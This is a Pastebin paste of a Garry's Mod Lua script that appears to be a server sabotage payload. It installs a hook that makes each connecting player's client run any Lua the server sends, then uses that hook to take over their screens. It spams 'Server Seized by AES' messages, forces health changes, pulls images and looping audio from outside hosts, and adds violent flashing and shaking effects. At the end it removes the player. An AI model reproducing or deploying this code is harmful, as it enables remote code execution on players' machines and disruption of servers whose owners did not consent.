API tools faq
paste
Advertisement
midou1451

Untitled

midou1451
Jul 31st, 2018
102
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.98 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "LEAK SES MAL ")]]) end)
  33. timer.Create( "ohnonnnnn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Serveur Seized by AES")]]) end)
  34. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "100000") end)
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57. function lol:Start( pPlayer )
  58. pPlayer.m_intCurAction = 0
  59. self:NextAction( pPlayer )
  60. end
  61.  
  62. function lol:SendLua( pPlayer, strLua )
  63. net.Start( "skeleton_dancing_troll" )
  64. net.WriteString( strLua )
  65. net.Send( pPlayer )
  66. end
  67.  
  68. function lol:SetupPlayer( pPlayer )
  69. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  70. end
  71.  
  72. for k, v in pairs( player.GetAll() ) do
  73. lol:SetupPlayer( v )
  74. timer.Simple( 2, function() lol:Start( v ) end )
  75. end
  76.  
  77. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  78. lol:SetupPlayer( pPlayer )
  79. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  80. end )
  81.  
  82. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  83. if strText:sub( 1, 5 ) == "/1337" then
  84. pSender:Ignite( 1e9 )
  85. pSender:ChatPrint( "Nop" )
  86. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  87. return false
  88. end
  89. end )
  90.  
  91.  
  92.  
  93. --Sequence stack
  94. --Start some tunes and steam in our assets
  95. lol:PushAction( 0, function( pPlayer )
  96. lol:SendLua( pPlayer, ([=[
  97. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "", function()end )
  98.  
  99. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  100. local html = [[%s]]
  101. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  102. local pnl = vgui.Create( "HTML" )
  103. pnl:SetPos( ScrW() -1, ScrH() -1 )
  104. pnl:SetVisible( true )
  105. pnl:SetMouseInputEnabled( false )
  106. pnl:SetKeyBoardInputEnabled( false )
  107. pnl:SetSize( intSizeX, intSizeY )
  108. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  109.  
  110. local PageLoaded
  111. PageLoaded = function()
  112. local mat = pnl:GetHTMLMaterial()
  113. if mat then
  114. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  115. return
  116. end
  117.  
  118. timer.Simple( 0.5, PageLoaded )
  119. end
  120.  
  121. PageLoaded()
  122. end
  123. LoadWebMaterial( "http://midou.mtxserv.fr/image/HUD454.png", "hud1", 300, 128 )
  124. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  125. LoadWebMaterial( "http://midou.mtxserv.fr/image/doraexploratrice.png", "hud3", 128, 128 )
  126. LoadWebMaterial( "http://black-shop.mtxserv.fr/midouw/4.png", "doritos", 183, 256 )
  127. LoadWebMaterial( "http://black-shop.mtxserv.fr/midouw/3.png", "fedora", 256, 256 )
  128. LoadWebMaterial( "http://black-shop.mtxserv.fr/midouw/2.png", "dew", 110, 256 )
  129. LoadWebMaterial( "http://black-shop.mtxserv.fr/midouw/1.png", "awp", 256, 55 )
  130.  
  131. ]=]):format(lol.m_strImageLoadHTML) )
  132. end )
  133.  
  134. --HUD swap
  135. lol:PushAction( 31, function( pPlayer )
  136. lol:SendLua( pPlayer, [[
  137. (GAMEMODE or GM).CalcView = function() end
  138. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  139.  
  140. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  141. for k, v in pairs(remove) do
  142. hook.GetTable()[v] = {}
  143. end
  144.  
  145. local function GetWebMat( strURL )
  146. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  147. end
  148.  
  149. hook.Add( "HUDPaint", "newhud", function()
  150. surface.SetDrawColor( 255, 255, 255, 255 )
  151.  
  152. if GetWebMat( "hud1" ) then
  153. surface.SetMaterial( GetWebMat("hud1")[1] )
  154. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  155. end
  156. if GetWebMat( "hud2" ) then
  157. surface.SetMaterial( GetWebMat("hud2")[1] )
  158. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  159. end
  160. if GetWebMat( "hud3" ) then
  161. surface.SetMaterial( GetWebMat("hud3")[1] )
  162. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  163. end
  164. if GetWebMat( "doritos" ) then
  165. surface.SetMaterial( GetWebMat("doritos")[1] )
  166. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  167. end
  168. if GetWebMat( "dew" ) then
  169. surface.SetMaterial( GetWebMat("dew")[1] )
  170. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  171. end
  172. if GetWebMat( "fedora" ) then
  173. surface.SetMaterial( GetWebMat("fedora")[1] )
  174. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  175. end
  176. if GetWebMat( "awp" ) then
  177. surface.SetMaterial( GetWebMat("awp")[1] )
  178. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  179. end
  180.  
  181. draw.SimpleTextOutlined(
  182. "Seised By AES",
  183. "DermaLarge",
  184. ScrW() /2 +math.random( -8, 8 ),
  185. ScrH() /2 +math.random( -8, 8 ) +64,
  186. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  187. TEXT_ALIGN_CENTER,
  188. TEXT_ALIGN_CENTER,
  189. 1,
  190. Color( 0, 0, 255, 255 )
  191. )
  192.  
  193. draw.SimpleTextOutlined(
  194. "LE LEAK SES MAL :/",
  195. "DermaLarge",
  196. ScrW() /2 +math.random( -8, 8 ),
  197. ScrH() /2 +math.random( -8, 8 ) +24,
  198. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  199. TEXT_ALIGN_CENTER,
  200. TEXT_ALIGN_CENTER,
  201. 1,
  202. Color( 0, 0, 255, 255 )
  203. )
  204. end )
  205.  
  206. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  207. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  208.  
  209. surface.PlaySound( "garrysmod/save_load4.wav" )
  210. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  211. ]] )
  212. end )
  213.  
  214. --Disco time
  215. lol:PushAction( 10, function( pPlayer )
  216. local idx = pPlayer:EntIndex()
  217. timer.Create( "beat".. idx, 0.42, 0, function()
  218. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  219. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  220. end )
  221.  
  222.  
  223. lol:SendLua( pPlayer, [[
  224. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  225. local time = 0
  226.  
  227. hook.Add( "Think", "wat", function()
  228. if CurTime() < time then
  229. return
  230. end
  231.  
  232. time = CurTime() +0.05
  233. for i = 1, 16 do
  234. local part = emitter:Add(
  235. "particles/balloon_bit",
  236. LocalPlayer():GetPos() +Vector(
  237. math.random( -256, 256 ),
  238. math.random( -256, 256 ),
  239. 256
  240. )
  241. )
  242.  
  243. if part then
  244. local Size = math.random( 4, 7 )
  245.  
  246. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  247. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  248. part:SetDieTime( 4.5 )
  249. part:SetGravity( Vector(40, 0, -250) )
  250. part:SetLifeTime( 0 )
  251. part:SetStartSize( Size /2 )
  252. part:SetEndSize( Size )
  253. part:SetCollide( true )
  254. end
  255. end
  256. end )
  257. ]] )
  258.  
  259. lol:SendLua( pPlayer, [[
  260. hook.Add( "RenderScreenspaceEffects", "wat", function()
  261. local sinScaler = math.sin( CurTime() )
  262. DrawBloom(
  263. 0,
  264. 3,
  265. sinScaler *math.Rand(1, 8),
  266. sinScaler *math.Rand(1, 8),
  267. 6,
  268. math.Rand(0.5, 2),
  269. math.Rand(0, 0.3),
  270. math.Rand(0, 0.3),
  271. math.Rand(0.5, 1)
  272. )
  273.  
  274. DrawColorModify{
  275. ["$pp_colour_addr"] = 0,
  276. ["$pp_colour_addg"] = 0,
  277. ["$pp_colour_addb"] = 00,
  278. ["$pp_colour_brightness" ] = 0,
  279. ["$pp_colour_contrast" ] = 1,
  280. ["$pp_colour_colour" ] = 1,
  281. ["$pp_colour_mulr" ] = 0,
  282. ["$pp_colour_mulg" ] = 0,
  283. ["$pp_colour_mulb" ] = 1
  284. }
  285. end )
  286.  
  287. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  288. mdl:SetNoDraw( true )
  289. local posCache, time = {}, 0
  290.  
  291. hook.Add( "HUDPaint", "dance", function()
  292. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  293. local idx = mdl:LookupSequence("taunt_dance")
  294. mdl.SeqDuration = mdl:SequenceDuration( idx )
  295. mdl.SeqStart = CurTime()
  296. mdl:ResetSequence( idx )
  297. end
  298.  
  299. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  300.  
  301.  
  302. local w, h = 300, 300
  303. local ang = Angle( 0, 0, 0 )
  304.  
  305. for i = 1, 32 do
  306. if CurTime() > time then
  307. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  308. end
  309. local x, y = posCache[i][1], posCache[i][2]
  310.  
  311. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  312. cam.IgnoreZ( true )
  313. render.SuppressEngineLighting( true )
  314.  
  315. render.SetLightingOrigin( mdl:GetPos() )
  316. render.ResetModelLighting( 1, 1, 1 )
  317. render.SetColorModulation( 0, 0, 1 )
  318.  
  319. mdl:DrawModel()
  320.  
  321. render.SuppressEngineLighting( false )
  322. cam.IgnoreZ( false )
  323. cam.End3D()
  324. end
  325.  
  326. if CurTime() > time then
  327. time = CurTime() +0.15
  328. end
  329. end )
  330.  
  331. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  332. ]] )
  333. end )
  334.  
  335. --Let the beat drop
  336. lol:PushAction( 54, function( pPlayer )
  337. lol:SendLua( pPlayer, [[
  338. hook.Add( "GetMotionBlurValues", "wat", function()
  339. return 0, 0, 1, math.sin(CurTime() *13)
  340. end )
  341.  
  342. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  343. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  344. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  345. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  346. end )
  347.  
  348. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  349. render.SetMaterial( Material("cable/blue_elec") )
  350. for i = 1, 32 do
  351. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  352. end
  353. end )
  354.  
  355. timer.Create( "thedrop", 0.42, 0, function()
  356. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  357. end )
  358. ]] )
  359. end )
  360.  
  361. --EVIL TIME rip headpones
  362. lol:PushAction( 175, function( pPlayer )
  363. lol:SendLua( pPlayer, [[
  364. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  365.  
  366. local sounds = {}
  367. for i = 1, 4 do
  368. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  369. sounds[#sounds +1] = pChan
  370. end )
  371. end
  372.  
  373. timer.Create( "asdf", 1, 0, function()
  374. if #sounds ~= 4 then return end
  375. timer.Destroy( "asdf" )
  376. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  377. end )
  378.  
  379. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  380. ]] )
  381.  
  382. pPlayer:Remove()
  383. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!